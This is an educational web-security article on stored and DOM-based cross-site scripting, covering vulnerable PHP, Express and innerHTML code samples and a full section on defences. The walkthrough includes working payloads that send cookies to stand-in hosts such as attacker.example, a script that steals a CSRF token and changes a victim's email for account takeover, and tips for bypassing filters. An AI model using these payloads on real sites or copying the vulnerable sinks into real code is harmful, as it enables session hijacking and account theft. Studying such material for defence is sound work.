Stored and DOM-Based Cross-Site Scripting (XSS)

Stored and DOM-Based Cross-Site Scripting (XSS) - article cover image Web Exploitation
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Cross-Site Scripting (XSS) is the class of web vulnerability in which an application takes attacker-influenced data and returns it to a browser in a context where it is parsed as active content — HTML, JavaScript, or an event handler — rather than as inert text. When that happens the attacker’s script runs inside the victim’s origin, with the victim’s cookies, session, and DOM. That is the whole game: JavaScript running in a page can read document.cookie (unless cookies are HttpOnly), issue authenticated same-origin requests, scrape the DOM, key-log the page, and rewrite what the user sees.

XSS is traditionally split into three families by *where the injection is reflected from*: reflected (the payload travels in the request and is echoed straight back in the response), stored (the payload is persisted server-side — a comment, profile field, log entry — and served to every viewer later), and DOM-based (the sink and source are both in client-side JavaScript, so the vulnerable data flow never has to touch the server at all). Stored and DOM-based are the highest-impact of the three: stored XSS can hit every authenticated user who loads the page, including administrators, and DOM XSS often survives server-side filtering entirely because the dangerous assignment happens in the browser.

Attack Prerequisites

For an XSS to be exploitable, three things generally have to line up:

  • A source of attacker-controlled data — a query parameter, form field, URL fragment (location.hash), postMessage payload, a stored record, or even a Referer/User-Agent header that the app later prints.
  • A sink that treats that data as code — server-side templating that concatenates without escaping, or a client-side DOM sink such as innerHTML, document.write, eval, setAttribute('onclick', ...), jQuery.html(), or element.insertAdjacentHTML.
  • A missing or wrong-context encoding step between the two. Encoding that is correct for HTML body context (&lt;) is useless if the data lands inside a <script> block, an HTML attribute, a URL, or a CSS value.

How It Works

Every XSS is a context confusion. The browser’s HTML parser and JavaScript engine decide whether a byte is *content* or *code* based on the surrounding syntax. If untrusted input can introduce a new syntactic context — close an attribute with ">, open a <script> tag, or supply an event handler like onerror — the attacker moves their data from the data plane into the control plane. The defense, correspondingly, is always to encode for the exact context the data is being placed into so those special characters lose their syntactic meaning.

DOM-based XSS is worth calling out separately because it breaks the mental model of “the server sanitizes, so I’m safe.” Here the tainted data flows from a client-side source (commonly location.hash, location.search, document.referrer, or window.name) into a client-side sink without a round trip. The server may send a perfectly clean response; the vulnerability is entirely in the shipped JavaScript. Because the payload can live after the # in the URL, it is never sent to the server, so server-side WAFs and request logging never see it.

Vulnerable Code: What Makes It Exploitable

Reflected XSS in a classic PHP handler — the parameter is concatenated straight into the HTML body with no encoding:

<?php
// GET /search?q=...
$q = $_GET['q'];
// VULNERABLE: raw echo into HTML body context
echo "<h1>Results for: $q</h1>";
// Request:  /search?q=<script>alert(document.domain)</script>
// The <script> is parsed and executed in the victim's session.
PHP

Stored XSS is the same mistake, one layer deeper — untrusted input is saved and later rendered for other users. Here a Node/Express comment view interpolates the stored body into markup:

// Storing: comment body is saved verbatim to the database.
// Rendering (VULNERABLE) - string-built HTML, no escaping:
app.get('/post/:id', async (req, res) => {
  const comments = await db.comments(req.params.id);
  const html = comments
    .map(c => `<div class="comment">${c.body}</div>`)  // <-- sink
    .join('');
  res.send(renderPage(html));
});
// A stored body of:  <img src=x onerror=fetch('//evil/'+document.cookie)>
// now fires for every visitor who loads the post.
JavaScript

DOM-based XSS lives purely in the front end. The two lines below are the canonical sink — data is read from a source the attacker controls and written into the page as HTML:

// URL:  https://app.example/#<img src=x onerror=alert(1)>
// VULNERABLE: location.hash flows into an HTML sink.
const target = document.getElementById('welcome');
target.innerHTML = decodeURIComponent(location.hash.slice(1));

// Note: an inline <script> injected via innerHTML does NOT run,
// but <img onerror>, <svg onload>, and <iframe srcdoc> event
// handlers DO — which is why those are the standard DOM payloads.
JavaScript

Walkthrough: From Injection to Account Takeover

A useful proof-of-concept is a payload that does not depend on inline <script> (which is blocked by innerHTML and by most CSPs). Event-handler vectors are the workhorses:

<!-- fires on image load failure -->
<img src=x onerror="fetch('https://attacker.example/c?'+document.cookie)">

<!-- fires on SVG load; no external request needed to prove execution -->
<svg onload=alert(document.domain)>

<!-- attribute breakout: input reflected inside value="..." -->
"><svg onload=alert(1)>
HTML

Once script execution is proven, the realistic escalation is not a popup but session hijacking or a same-origin action. If the session cookie lacks HttpOnly, exfiltration is direct; if it is HttpOnly, the attacker instead *rides* the session by scripting authenticated requests (the browser attaches the cookie automatically). A minimal self-service takeover payload might read a CSRF token from the DOM and change the victim’s email:

// Runs in the victim's origin, so same-origin requests are authenticated.
fetch('/account', {credentials:'include'})
  .then(r => r.text())
  .then(html => {
    const token = html.match(/name="csrf" value="([^"]+)"/)[1];
    return fetch('/account/email', {
      method: 'POST', credentials: 'include',
      headers: {'Content-Type':'application/x-www-form-urlencoded'},
      body: 'csrf='+token+'&email=attacker@evil.example'
    });
  });
// Password-reset link now goes to the attacker's inbox.
JavaScript

Filters are routinely bypassed by moving to a context the blacklist did not anticipate: HTML-entity or URL encoding of the payload, mixed case (<ScRiPt>), event handlers on obscure tags, javascript: URIs in href, or data:/srcdoc on iframes. Blacklisting individual tags or the word script has never been a viable defense — the tag surface is enormous.

Note: Modern frameworks auto-escape by default, but they all provide an escape hatch that reintroduces XSS the moment untrusted data reaches it: React’s dangerouslySetInnerHTML, Angular’s bypassSecurityTrustHtml, Vue’s v-html, and any server template printed with a “raw”/”safe” filter ({{ x|safe }} in Jinja, {!! $x !!} in Blade). When auditing a framework app, grep for exactly these — they are where nearly all framework-era XSS lives.

Opsec / Testing tip: Prefer alert(document.domain) over alert(1) when demonstrating impact: it proves *which origin* executed the script, which matters when payloads reflect across subdomains or inside sandboxed iframes. For blind/stored XSS where you can’t see the result, use an out-of-band collector (e.g. a Burp Collaborator / interactsh host) so execution is confirmed by an inbound callback.

Detection and Defense

XSS is prevented by output encoding, not input filtering — the correct fix is to encode data for its rendering context at the point of output. Layered controls:

  • Context-aware output encoding — HTML-entity-encode for body text, attribute-encode inside attributes, JavaScript-string-encode inside <script>, and URL-encode inside URLs. Use the framework’s auto-escaping and never disable it for untrusted data.
  • Avoid dangerous DOM sinks — prefer textContent/innerText over innerHTML; if HTML must be built from untrusted data, sanitize it with a vetted library such as DOMPurify before assignment.
  • Content-Security-Policy — a strict, nonce- or hash-based CSP (script-src 'nonce-...' 'strict-dynamic', no unsafe-inline) turns many XSS bugs into non-events by refusing to execute injected inline script. Treat CSP as defense-in-depth, not a primary fix.
  • Trusted Types (require-trusted-types-for 'script') — locks down DOM sinks at the browser level so a raw string can no longer be assigned to innerHTML, eliminating most DOM XSS as a bug class.
  • HttpOnly and Secure cookies — do not stop XSS, but stop the simplest cookie-theft outcome and force the attacker into noisier in-page actions.

Detection-side: a strict CSP with a report-to/report-uri endpoint will surface injection attempts as violation reports in production; WAF signatures catch naive reflected payloads (but not DOM or encoded ones); and code review / SAST that flags the sinks listed above is far more reliable than trying to block payloads at the edge.

Real-World Impact

XSS has driven some of the most famous web incidents — the Samy MySpace worm (2005) added over a million friends in under a day via stored XSS, and XSS remains a perennial entry in the OWASP Top 10 (folded into the “Injection” category in the 2021 edition). In modern bug-bounty programs stored XSS on an authenticated, admin-reachable page is routinely rated High to Critical precisely because it leads to session hijacking, CSRF-token theft, and full account takeover.

Conclusion

XSS persists because it is a context problem, and contexts are everywhere in a modern app: HTML, attributes, JavaScript, URLs, CSS, and a dozen DOM sinks. The durable fixes are the same regardless of variant — encode for the output context, keep untrusted data out of HTML sinks, and layer a strict CSP and Trusted Types underneath so that a single missed encode does not become a full account takeover.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL